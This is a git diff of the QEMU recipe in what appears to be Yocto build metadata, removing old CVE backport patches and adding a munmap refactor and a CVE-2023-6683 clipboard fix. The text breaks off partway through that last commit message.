diff --git a/meta/recipes-devtools/qemu/qemu/0013-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch b/meta/recipes-devtools/qemu/qemu/0013-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch
deleted file mode 100644
index e5ebfc1267..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0013-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch
+++ /dev/null
@@ -1,74 +0,0 @@
-From 0a53e906510cce1f32bc04a11e81ea40f834dac4 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Wed, 12 Aug 2015 15:11:30 -0500
-Subject: [PATCH] cpus.c: Add error messages when qemi_cpu_kick_thread fails.
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Add custom_debug.h with function for print backtrace information.
-When pthread_kill fails in qemu_cpu_kick_thread display backtrace and
-current cpu information.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
-
----
- cpus.c | 5 +++++
- custom_debug.h | 24 ++++++++++++++++++++++++
- 2 files changed, 29 insertions(+)
- create mode 100644 custom_debug.h
-
-diff --git a/cpus.c b/cpus.c
-index e83f72b4..e6e2576e 100644
---- a/cpus.c
-+++ b/cpus.c
-@@ -1769,6 +1769,8 @@ static void *qemu_tcg_cpu_thread_fn(void *arg)
- return NULL;
- }
-
-+#include "custom_debug.h"
-+
- static void qemu_cpu_kick_thread(CPUState *cpu)
- {
- #ifndef _WIN32
-@@ -1781,6 +1783,9 @@ static void qemu_cpu_kick_thread(CPUState *cpu)
- err = pthread_kill(cpu->thread->thread, SIG_IPI);
- if (err && err != ESRCH) {
- fprintf(stderr, "qemu:%s: %s", __func__, strerror(err));
-+ fprintf(stderr, "CPU #%d:\n", cpu->cpu_index);
-+ cpu_dump_state(cpu, stderr, 0);
-+ backtrace_print();
- exit(1);
- }
- #else /* _WIN32 */
-diff --git a/custom_debug.h b/custom_debug.h
-new file mode 100644
-index 00000000..f029e455
---- /dev/null
-+++ b/custom_debug.h
-@@ -0,0 +1,24 @@
-+#include <execinfo.h>
-+#include <stdio.h>
-+#define BACKTRACE_MAX 128
-+static void backtrace_print(void)
-+{
-+ int nfuncs = 0;
-+ void *buf[BACKTRACE_MAX];
-+ char **symbols;
-+ int i;
-+
-+ nfuncs = backtrace(buf, BACKTRACE_MAX);
-+
-+ symbols = backtrace_symbols(buf, nfuncs);
-+ if (symbols == NULL) {
-+ fprintf(stderr, "backtrace_print failed to get symbols");
-+ return;
-+ }
-+
-+ fprintf(stderr, "Backtrace ...\n");
-+ for (i = 0; i < nfuncs; i++)
-+ fprintf(stderr, "%s\n", symbols[i]);
-+
-+ free(symbols);
-+}
diff --git a/meta/recipes-devtools/qemu/qemu/4a8579ad8629b57a43daa62e46cc7af6e1078116.patch b/meta/recipes-devtools/qemu/qemu/4a8579ad8629b57a43daa62e46cc7af6e1078116.patch
new file mode 100644
index 0000000000..5ad859ebe6
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/4a8579ad8629b57a43daa62e46cc7af6e1078116.patch
@@ -0,0 +1,60 @@
+From 4a8579ad8629b57a43daa62e46cc7af6e1078116 Mon Sep 17 00:00:00 2001
+From: Richard Henderson <richard.henderson@linaro.org>
+Date: Tue, 13 Feb 2024 10:20:27 -1000
+Subject: [PATCH] linux-user: Split out do_munmap
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+Upstream-Status: Submitted [https://gitlab.com/rth7680/qemu/-/commit/4a8579ad8629b57a43daa62e46cc7af6e1078116]
+
+Reviewed-by: Philippe Mathieu-Daudé <philmd@linaro.org>
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+---
+ linux-user/mmap.c | 23 ++++++++++++++++-------
+ 1 file changed, 16 insertions(+), 7 deletions(-)
+
+diff --git a/linux-user/mmap.c b/linux-user/mmap.c
+index 1bbfeb25b14..8ebcca44444 100644
+--- a/linux-user/mmap.c
++++ b/linux-user/mmap.c
+@@ -267,6 +267,21 @@ int target_mprotect(abi_ulong start, abi_ulong len, int target_prot)
+ return ret;
+ }
+
++/*
++ * Perform munmap on behalf of the target, with host parameters.
++ * If reserved_va, we must replace the memory reservation.
++ */
++static int do_munmap(void *addr, size_t len)
++{
++ if (reserved_va) {
++ void *ptr = mmap(addr, len, PROT_NONE,
++ MAP_FIXED | MAP_ANONYMOUS
++ | MAP_PRIVATE | MAP_NORESERVE, -1, 0);
++ return ptr == addr ? 0 : -1;
++ }
++ return munmap(addr, len);
++}
++
+ /* map an incomplete host page */
+ static bool mmap_frag(abi_ulong real_start, abi_ulong start, abi_ulong last,
+ int prot, int flags, int fd, off_t offset)
+@@ -854,13 +869,7 @@ static int mmap_reserve_or_unmap(abi_ulong start, abi_ulong len)
+ real_len = real_last - real_start + 1;
+ host_start = g2h_untagged(real_start);
+
+- if (reserved_va) {
+- void *ptr = mmap(host_start, real_len, PROT_NONE,
+- MAP_FIXED | MAP_ANONYMOUS
+- | MAP_PRIVATE | MAP_NORESERVE, -1, 0);
+- return ptr == host_start ? 0 : -1;
+- }
+- return munmap(host_start, real_len);
++ return do_munmap(host_start, real_len);
+ }
+
+ int target_munmap(abi_ulong start, abi_ulong len)
+--
+GitLab
+
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-10761.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-10761.patch
deleted file mode 100644
index 19f26ae5b0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-10761.patch
+++ /dev/null
@@ -1,151 +0,0 @@
-From 5c4fe018c025740fef4a0a4421e8162db0c3eefd Mon Sep 17 00:00:00 2001
-From: Eric Blake <eblake@redhat.com>
-Date: Mon, 8 Jun 2020 13:26:37 -0500
-Subject: [PATCH] nbd/server: Avoid long error message assertions
- CVE-2020-10761
-
-Ever since commit 36683283 (v2.8), the server code asserts that error
-strings sent to the client are well-formed per the protocol by not
-exceeding the maximum string length of 4096. At the time the server
-first started sending error messages, the assertion could not be
-triggered, because messages were completely under our control.
-However, over the years, we have added latent scenarios where a client
-could trigger the server to attempt an error message that would
-include the client's information if it passed other checks first:
-
-- requesting NBD_OPT_INFO/GO on an export name that is not present
- (commit 0cfae925 in v2.12 echoes the name)
-
-- requesting NBD_OPT_LIST/SET_META_CONTEXT on an export name that is
- not present (commit e7b1948d in v2.12 echoes the name)
-
-At the time, those were still safe because we flagged names larger
-than 256 bytes with a different message; but that changed in commit
-93676c88 (v4.2) when we raised the name limit to 4096 to match the NBD
-string limit. (That commit also failed to change the magic number
-4096 in nbd_negotiate_send_rep_err to the just-introduced named
-constant.) So with that commit, long client names appended to server
-text can now trigger the assertion, and thus be used as a denial of
-service attack against a server. As a mitigating factor, if the
-server requires TLS, the client cannot trigger the problematic paths
-unless it first supplies TLS credentials, and such trusted clients are
-less likely to try to intentionally crash the server.
-
-We may later want to further sanitize the user-supplied strings we
-place into our error messages, such as scrubbing out control
-characters, but that is less important to the CVE fix, so it can be a
-later patch to the new nbd_sanitize_name.
-
-Consideration was given to changing the assertion in
-nbd_negotiate_send_rep_verr to instead merely log a server error and
-truncate the message, to avoid leaving a latent path that could
-trigger a future CVE DoS on any new error message. However, this
-merely complicates the code for something that is already (correctly)
-flagging coding errors, and now that we are aware of the long message
-pitfall, we are less likely to introduce such errors in the future,
-which would make such error handling dead code.
-
-Reported-by: Xueqiang Wei <xuwei@redhat.com>
-CC: qemu-stable@nongnu.org
-Fixes: https://bugzilla.redhat.com/1843684 CVE-2020-10761
-Fixes: 93676c88d7
-Signed-off-by: Eric Blake <eblake@redhat.com>
-Message-Id: <20200610163741.3745251-2-eblake@redhat.com>
-Reviewed-by: Vladimir Sementsov-Ogievskiy <vsementsov@virtuozzo.com>
-
-Upstream-Status: Backport [https://github.com/qemu/qemu/commit/5c4fe018c025740fef4a0a4421e8162db0c3eefd]
-CVE: CVE-2020-10761
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
-
----
- nbd/server.c | 23 ++++++++++++++++++++---
- tests/qemu-iotests/143 | 4 ++++
- tests/qemu-iotests/143.out | 2 ++
- 3 files changed, 26 insertions(+), 3 deletions(-)
-
-diff --git a/nbd/server.c b/nbd/server.c
-index 02b1ed08014..20754e9ebc3 100644
---- a/nbd/server.c
-+++ b/nbd/server.c
-@@ -217,7 +217,7 @@ nbd_negotiate_send_rep_verr(NBDClient *client, uint32_t type,
-
- msg = g_strdup_vprintf(fmt, va);
- len = strlen(msg);
-- assert(len < 4096);
-+ assert(len < NBD_MAX_STRING_SIZE);
- trace_nbd_negotiate_send_rep_err(msg);
- ret = nbd_negotiate_send_rep_len(client, type, len, errp);
- if (ret < 0) {
-@@ -231,6 +231,19 @@ nbd_negotiate_send_rep_verr(NBDClient *client, uint32_t type,
- return 0;
- }
-
-+/*
-+ * Return a malloc'd copy of @name suitable for use in an error reply.
-+ */
-+static char *
-+nbd_sanitize_name(const char *name)
-+{
-+ if (strnlen(name, 80) < 80) {
-+ return g_strdup(name);
-+ }
-+ /* XXX Should we also try to sanitize any control characters? */
-+ return g_strdup_printf("%.80s...", name);
-+}
-+
- /* Send an error reply.
- * Return -errno on error, 0 on success. */
- static int GCC_FMT_ATTR(4, 5)
-@@ -595,9 +608,11 @@ static int nbd_negotiate_handle_info(NBDClient *client, Error **errp)
-
- exp = nbd_export_find(name);
- if (!exp) {
-+ g_autofree char *sane_name = nbd_sanitize_name(name);
-+
- return nbd_negotiate_send_rep_err(client, NBD_REP_ERR_UNKNOWN,
- errp, "export '%s' not present",
-- name);
-+ sane_name);
- }
-
- /* Don't bother sending NBD_INFO_NAME unless client requested it */
-@@ -995,8 +1010,10 @@ static int nbd_negotiate_meta_queries(NBDClient *client,
-
- meta->exp = nbd_export_find(export_name);
- if (meta->exp == NULL) {
-+ g_autofree char *sane_name = nbd_sanitize_name(export_name);
-+
- return nbd_opt_drop(client, NBD_REP_ERR_UNKNOWN, errp,
-- "export '%s' not present", export_name);
-+ "export '%s' not present", sane_name);
- }
-
- ret = nbd_opt_read(client, &nb_queries, sizeof(nb_queries), errp);
-diff --git a/tests/qemu-iotests/143 b/tests/qemu-iotests/143
-index f649b361950..d2349903b1b 100755
---- a/tests/qemu-iotests/143
-+++ b/tests/qemu-iotests/143
-@@ -58,6 +58,10 @@ _send_qemu_cmd $QEMU_HANDLE \
- $QEMU_IO_PROG -f raw -c quit \
- "nbd+unix:///no_such_export?socket=$SOCK_DIR/nbd" 2>&1 \
- | _filter_qemu_io | _filter_nbd
-+# Likewise, with longest possible name permitted in NBD protocol
-+$QEMU_IO_PROG -f raw -c quit \
-+ "nbd+unix:///$(printf %4096d 1 | tr ' ' a)?socket=$SOCK_DIR/nbd" 2>&1 \
-+ | _filter_qemu_io | _filter_nbd | sed 's/aaaa*aa/aa--aa/'
-
- _send_qemu_cmd $QEMU_HANDLE \
- "{ 'execute': 'quit' }" \
-diff --git a/tests/qemu-iotests/143.out b/tests/qemu-iotests/143.out
-index 1f4001c6013..fc9c0a761fa 100644
---- a/tests/qemu-iotests/143.out
-+++ b/tests/qemu-iotests/143.out
-@@ -5,6 +5,8 @@ QA output created by 143
- {"return": {}}
- qemu-io: can't open device nbd+unix:///no_such_export?socket=SOCK_DIR/nbd: Requested export not available
- server reported: export 'no_such_export' not present
-+qemu-io: can't open device nbd+unix:///aa--aa1?socket=SOCK_DIR/nbd: Requested export not available
-+server reported: export 'aa--aa...' not present
- { 'execute': 'quit' }
- {"return": {}}
- {"timestamp": {"seconds": TIMESTAMP, "microseconds": TIMESTAMP}, "event": "SHUTDOWN", "data": {"guest": false, "reason": "host-qmp-quit"}}
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-13361.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-13361.patch
deleted file mode 100644
index e0acc70f3c..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-13361.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From 369ff955a8497988d079c4e3fa1e93c2570c1c69 Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Fri, 15 May 2020 01:36:08 +0530
-Subject: [PATCH] es1370: check total frame count against current frame
-
-A guest user may set channel frame count via es1370_write()
-such that, in es1370_transfer_audio(), total frame count
-'size' is lesser than the number of frames that are processed
-'cnt'.
-
- int cnt = d->frame_cnt >> 16;
- int size = d->frame_cnt & 0xffff;
-
-if (size < cnt), it results in incorrect calculations leading
-to OOB access issue(s). Add check to avoid it.
-
-Reported-by: Ren Ding <rding@gatech.edu>
-Reported-by: Hanqing Zhao <hanqing@gatech.edu>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Message-id: 20200514200608.1744203-1-ppandit@redhat.com
-Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
-
-Upstream-Status: Backport [https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg03983.html]
-CVE: CVE-2020-13361
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
----
- hw/audio/es1370.c | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/hw/audio/es1370.c b/hw/audio/es1370.c
-index 89c4dabcd44..5f8a83ff562 100644
---- a/hw/audio/es1370.c
-+++ b/hw/audio/es1370.c
-@@ -643,6 +643,9 @@ static void es1370_transfer_audio (ES1370State *s, struct chan *d, int loop_sel,
- int csc_bytes = (csc + 1) << d->shift;
- int cnt = d->frame_cnt >> 16;
- int size = d->frame_cnt & 0xffff;
-+ if (size < cnt) {
-+ return;
-+ }
- int left = ((size - cnt + 1) << 2) + d->leftover;
- int transferred = 0;
- int temp = MIN (max, MIN (left, csc_bytes));
-@@ -651,7 +654,7 @@ static void es1370_transfer_audio (ES1370State *s, struct chan *d, int loop_sel,
- addr += (cnt << 2) + d->leftover;
-
- if (index == ADC_CHANNEL) {
-- while (temp) {
-+ while (temp > 0) {
- int acquired, to_copy;
-
- to_copy = MIN ((size_t) temp, sizeof (tmpbuf));
-@@ -669,7 +672,7 @@ static void es1370_transfer_audio (ES1370State *s, struct chan *d, int loop_sel,
- else {
- SWVoiceOut *voice = s->dac_voice[index];
-
-- while (temp) {
-+ while (temp > 0) {
- int copied, to_copy;
-
- to_copy = MIN ((size_t) temp, sizeof (tmpbuf));
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-13362.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-13362.patch
deleted file mode 100644
index af8d4ba8f4..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-13362.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From f50ab86a2620bd7e8507af865b164655ee921661 Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Thu, 14 May 2020 00:55:38 +0530
-Subject: [PATCH] megasas: use unsigned type for reply_queue_head and check
- index
-
-A guest user may set 'reply_queue_head' field of MegasasState to
-a negative value. Later in 'megasas_lookup_frame' it is used to
-index into s->frames[] array. Use unsigned type to avoid OOB
-access issue.
-
-Also check that 'index' value stays within s->frames[] bounds
-through the while() loop in 'megasas_lookup_frame' to avoid OOB
-access.
-
-Reported-by: Ren Ding <rding@gatech.edu>
-Reported-by: Hanqing Zhao <hanqing@gatech.edu>
-Reported-by: Alexander Bulekov <alxndr@bu.edu>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Acked-by: Alexander Bulekov <alxndr@bu.edu>
-Message-Id: <20200513192540.1583887-2-ppandit@redhat.com>
-Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
-
-Upstream-Status: Backport [f50ab86a2620bd7e8507af865b164655ee921661]
-CVE: CVE-2020-13362
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- hw/scsi/megasas.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/hw/scsi/megasas.c b/hw/scsi/megasas.c
-index af18c88b65..6ce598cd69 100644
---- a/hw/scsi/megasas.c
-+++ b/hw/scsi/megasas.c
-@@ -112,7 +112,7 @@ typedef struct MegasasState {
- uint64_t reply_queue_pa;
- void *reply_queue;
- int reply_queue_len;
-- int reply_queue_head;
-+ uint16_t reply_queue_head;
- int reply_queue_tail;
- uint64_t consumer_pa;
- uint64_t producer_pa;
-@@ -445,7 +445,7 @@ static MegasasCmd *megasas_lookup_frame(MegasasState *s,
-
- index = s->reply_queue_head;
-
-- while (num < s->fw_cmds) {
-+ while (num < s->fw_cmds && index < MEGASAS_MAX_FRAMES) {
- if (s->frames[index].pa && s->frames[index].pa == frame) {
- cmd = &s->frames[index];
- break;
---
-2.20.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-13659.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-13659.patch
deleted file mode 100644
index 4d12ae8f16..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-13659.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 77f55eac6c433e23e82a1b88b2d74f385c4c7d82 Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Tue, 26 May 2020 16:47:43 +0530
-Subject: [PATCH] exec: set map length to zero when returning NULL
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-When mapping physical memory into host's virtual address space,
-'address_space_map' may return NULL if BounceBuffer is in_use.
-Set and return '*plen = 0' to avoid later NULL pointer dereference.
-
-Reported-by: Alexander Bulekov <alxndr@bu.edu>
-Fixes: https://bugs.launchpad.net/qemu/+bug/1878259
-Suggested-by: Paolo Bonzini <pbonzini@redhat.com>
-Suggested-by: Peter Maydell <peter.maydell@linaro.org>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Message-Id: <20200526111743.428367-1-ppandit@redhat.com>
-Reviewed-by: Philippe Mathieu-Daudé <philmd@redhat.com>
-Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
-
-Upstream-Status: Backport [77f55eac6c433e23e82a1b88b2d74f385c4c7d82]
-CVE: CVE-2020-13659
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- exec.c | 1 +
- include/exec/memory.h | 3 ++-
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/exec.c b/exec.c
-index 9cbde85d8c..778263f1c6 100644
---- a/exec.c
-+++ b/exec.c
-@@ -3540,6 +3540,7 @@ void *address_space_map(AddressSpace *as,
-
- if (!memory_access_is_direct(mr, is_write)) {
- if (atomic_xchg(&bounce.in_use, true)) {
-+ *plen = 0;
- return NULL;
- }
- /* Avoid unbounded allocations */
-diff --git a/include/exec/memory.h b/include/exec/memory.h
-index bd7fdd6081..af8ca7824e 100644
---- a/include/exec/memory.h
-+++ b/include/exec/memory.h
-@@ -2314,7 +2314,8 @@ bool address_space_access_valid(AddressSpace *as, hwaddr addr, hwaddr len,
- /* address_space_map: map a physical memory region into a host virtual address
- *
- * May map a subset of the requested range, given by and returned in @plen.
-- * May return %NULL if resources needed to perform the mapping are exhausted.
-+ * May return %NULL and set *@plen to zero(0), if resources needed to perform
-+ * the mapping are exhausted.
- * Use only for reads OR writes - not for read-modify-write operations.
- * Use cpu_register_map_client() to know when retrying the map operation is
- * likely to succeed.
---
-2.20.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-13791.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-13791.patch
deleted file mode 100644
index 049dab914d..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-13791.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From f7d6a635fa3b7797f9d072e280f065bf3cfcd24d Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Thu, 4 Jun 2020 17:05:25 +0530
-Subject: [PATCH] pci: assert configuration access is within bounds
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-While accessing PCI configuration bytes, assert that
-'address + len' is within PCI configuration space.
-
-Generally it is within bounds. This is more of a defensive
-assert, in case a buggy device was to send 'address' which
-may go out of bounds.
-
-Suggested-by: Philippe Mathieu-Daudé <philmd@redhat.com>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Message-Id: <20200604113525.58898-1-ppandit@redhat.com>
-Reviewed-by: Michael S. Tsirkin <mst@redhat.com>
-Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
-
-Upstream-Status: Backport [f7d6a635fa3b7797f9d072e280f065bf3cfcd24d]
-CVE: CVE-2020-13791
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- hw/pci/pci.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/hw/pci/pci.c b/hw/pci/pci.c
-index 70c66965f5..7bf2ae6d92 100644
---- a/hw/pci/pci.c
-+++ b/hw/pci/pci.c
-@@ -1381,6 +1381,8 @@ uint32_t pci_default_read_config(PCIDevice *d,
- {
- uint32_t val = 0;
-
-+ assert(address + len <= pci_config_size(d));
-+
- if (pci_is_express_downstream_port(d) &&
- ranges_overlap(address, len, d->exp.exp_cap + PCI_EXP_LNKSTA, 2)) {
- pcie_sync_bridge_lnk(d);
-@@ -1394,6 +1396,8 @@ void pci_default_write_config(PCIDevice *d, uint32_t addr, uint32_t val_in, int
- int i, was_irq_disabled = pci_irq_disabled(d);
- uint32_t val = val_in;
-
-+ assert(addr + l <= pci_config_size(d));
-+
- for (i = 0; i < l; val >>= 8, ++i) {
- uint8_t wmask = d->wmask[addr + i];
- uint8_t w1cmask = d->w1cmask[addr + i];
---
-2.20.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-13800.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-13800.patch
deleted file mode 100644
index 52bfafbbae..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-13800.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From a98610c429d52db0937c1e48659428929835c455 Mon Sep 17 00:00:00 2001
-From: Prasad J Pandit <pjp@fedoraproject.org>
-Date: Thu, 4 Jun 2020 14:38:30 +0530
-Subject: [PATCH] ati-vga: check mm_index before recursive call
- (CVE-2020-13800)
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-While accessing VGA registers via ati_mm_read/write routines,
-a guest may set 's->regs.mm_index' such that it leads to infinite
-recursion. Check mm_index value to avoid such recursion. Log an
-error message for wrong values.
-
-Reported-by: Ren Ding <rding@gatech.edu>
-Reported-by: Hanqing Zhao <hanqing@gatech.edu>
-Reported-by: Yi Ren <c4tren@gmail.com>
-Message-id: 20200604090830.33885-1-ppandit@redhat.com
-Suggested-by: BALATON Zoltan <balaton@eik.bme.hu>
-Suggested-by: Philippe Mathieu-Daudé <philmd@redhat.com>
-Signed-off-by: Prasad J Pandit <pjp@fedoraproject.org>
-Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
-
-Upstream-Status: Backport [a98610c429d52db0937c1e48659428929835c455]
-CVE: CVE-2020-13800
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- hw/display/ati.c | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/hw/display/ati.c b/hw/display/ati.c
-index 065f197678..67604e68de 100644
---- a/hw/display/ati.c
-+++ b/hw/display/ati.c
-@@ -285,8 +285,11 @@ static uint64_t ati_mm_read(void *opaque, hwaddr addr, unsigned int size)
- if (idx <= s->vga.vram_size - size) {
- val = ldn_le_p(s->vga.vram_ptr + idx, size);
- }
-- } else {
-+ } else if (s->regs.mm_index > MM_DATA + 3) {
- val = ati_mm_read(s, s->regs.mm_index + addr - MM_DATA, size);
-+ } else {
-+ qemu_log_mask(LOG_GUEST_ERROR,
-+ "ati_mm_read: mm_index too small: %u\n", s->regs.mm_index);
- }
- break;
- case BIOS_0_SCRATCH ... BUS_CNTL - 1:
-@@ -520,8 +523,11 @@ static void ati_mm_write(void *opaque, hwaddr addr,
- if (idx <= s->vga.vram_size - size) {
- stn_le_p(s->vga.vram_ptr + idx, size, data);
- }
-- } else {
-+ } else if (s->regs.mm_index > MM_DATA + 3) {
- ati_mm_write(s, s->regs.mm_index + addr - MM_DATA, data, size);
-+ } else {
-+ qemu_log_mask(LOG_GUEST_ERROR,
-+ "ati_mm_write: mm_index too small: %u\n", s->regs.mm_index);
- }
- break;
- case BIOS_0_SCRATCH ... BUS_CNTL - 1:
---
-2.20.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2020-15863.patch b/meta/recipes-devtools/qemu/qemu/CVE-2020-15863.patch
deleted file mode 100644
index 1505c7eed0..0000000000
--- a/meta/recipes-devtools/qemu/qemu/CVE-2020-15863.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-From 5519724a13664b43e225ca05351c60b4468e4555 Mon Sep 17 00:00:00 2001
-From: Mauro Matteo Cascella <mcascell@redhat.com>
-Date: Fri, 10 Jul 2020 11:19:41 +0200
-Subject: [PATCH] hw/net/xgmac: Fix buffer overflow in xgmac_enet_send()
-
-A buffer overflow issue was reported by Mr. Ziming Zhang, CC'd here. It
-occurs while sending an Ethernet frame due to missing break statements
-and improper checking of the buffer size.
-
-Reported-by: Ziming Zhang <ezrakiez@gmail.com>
-Signed-off-by: Mauro Matteo Cascella <mcascell@redhat.com>
-Reviewed-by: Peter Maydell <peter.maydell@linaro.org>
-Signed-off-by: Jason Wang <jasowang@redhat.com>
-
-Upstream-Status: Backport [https://git.qemu.org/?p=qemu.git;a=commitdiff;h=5519724a13664b43e225ca05351c60b4468e4555]
-CVE: CVE-2020-15863
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
-
----
- hw/net/xgmac.c | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/hw/net/xgmac.c b/hw/net/xgmac.c
-index 574dd47..5bf1b61 100644
---- a/hw/net/xgmac.c
-+++ b/hw/net/xgmac.c
-@@ -220,21 +220,31 @@ static void xgmac_enet_send(XgmacState *s)
- }
- len = (bd.buffer1_size & 0xfff) + (bd.buffer2_size & 0xfff);
-
-+ /*
-+ * FIXME: these cases of malformed tx descriptors (bad sizes)
-+ * should probably be reported back to the guest somehow
-+ * rather than simply silently stopping processing, but we
-+ * don't know what the hardware does in this situation.
-+ * This will only happen for buggy guests anyway.
-+ */
- if ((bd.buffer1_size & 0xfff) > 2048) {
- DEBUGF_BRK("qemu:%s:ERROR...ERROR...ERROR... -- "
- "xgmac buffer 1 len on send > 2048 (0x%x)\n",
- __func__, bd.buffer1_size & 0xfff);
-+ break;
- }
- if ((bd.buffer2_size & 0xfff) != 0) {
- DEBUGF_BRK("qemu:%s:ERROR...ERROR...ERROR... -- "
- "xgmac buffer 2 len on send != 0 (0x%x)\n",
- __func__, bd.buffer2_size & 0xfff);
-+ break;
- }
-- if (len >= sizeof(frame)) {
-+ if (frame_size + len >= sizeof(frame)) {
- DEBUGF_BRK("qemu:%s: buffer overflow %d read into %zu "
-- "buffer\n" , __func__, len, sizeof(frame));
-+ "buffer\n" , __func__, frame_size + len, sizeof(frame));
- DEBUGF_BRK("qemu:%s: buffer1.size=%d; buffer2.size=%d\n",
- __func__, bd.buffer1_size, bd.buffer2_size);
-+ break;
- }
-
- cpu_physical_memory_read(bd.buffer1_addr, ptr, len);
---
-1.8.3.1
-
diff --git a/meta/recipes-devtools/qemu/qemu/CVE-2023-6683.patch b/meta/recipes-devtools/qemu/qemu/CVE-2023-6683.patch
new file mode 100644
index 0000000000..732cb6af18
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/CVE-2023-6683.patch
@@ -0,0 +1,91 @@
+From 405484b29f6548c7b86549b0f961b906337aa68a Mon Sep 17 00:00:00 2001
+From: Fiona Ebner <f.ebner@proxmox.com>
+Date: Wed, 24 Jan 2024 11:57:48 +0100
+Subject: [PATCH] ui/clipboard: mark type as not available when there is no
+ data
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+With VNC, a client can send a non-extended VNC_MSG_CLIENT_CUT_TEXT
+message with len=0. In qemu_clipboard_set_data(), the clipboard info
+will be updated setting data to NULL (because g_memdup(data, size)
+returns NULL when size is 0). If the client does not set the
+VNC_ENCODING_CLIPBOARD_EXT feature when setting up the encodings, then
+the 'request' callback for the clipboard peer is not initialized.
+Later, because data is NULL, qemu_clipboard_request() can be reached
+via vdagent_chr_write() and vdagent_clipboard_recv_request() and
+there, the clipboard owner's 'request' callback will be attempted to
+be called, but that is a NULL pointer.
+
+In particular, this can happen when using the KRDC (22.12.3) VNC
+client.
+
+Another scenario leading to the same issue is with two clients (say
+noVNC and KRDC):
+
+The noVNC client sets the extension VNC_FEATURE_CLIPBOARD_EXT and
+initializes its cbpeer.
+
+The KRDC client does not, but triggers a vnc_client_cut_text() (note
+it's not the _ext variant)). There, a new clipboard info with it as
+the 'owner' is created and via qemu_clipboard_set_data() is called,
+which in turn calls qemu_clipboard_update() with that info.
+
+In qemu_clipboard_update(), the notifier for the noVNC client will be
+called, i.e. vnc_clipboard_notify() and also set vs->cbinfo for the
+noVNC client. The 'owner' in that clipboard info is the clipboard peer
+for the KRDC client, which did not initialize the 'request' function.
+That sounds correct to me, it is the owner of that clipboard info.
+
+Then when noVNC sends a VNC_MSG_CLIENT_CUT_TEXT message (it did set
+the VNC_FEATURE_CLIPBOARD_EXT feature correctly, so a check for it
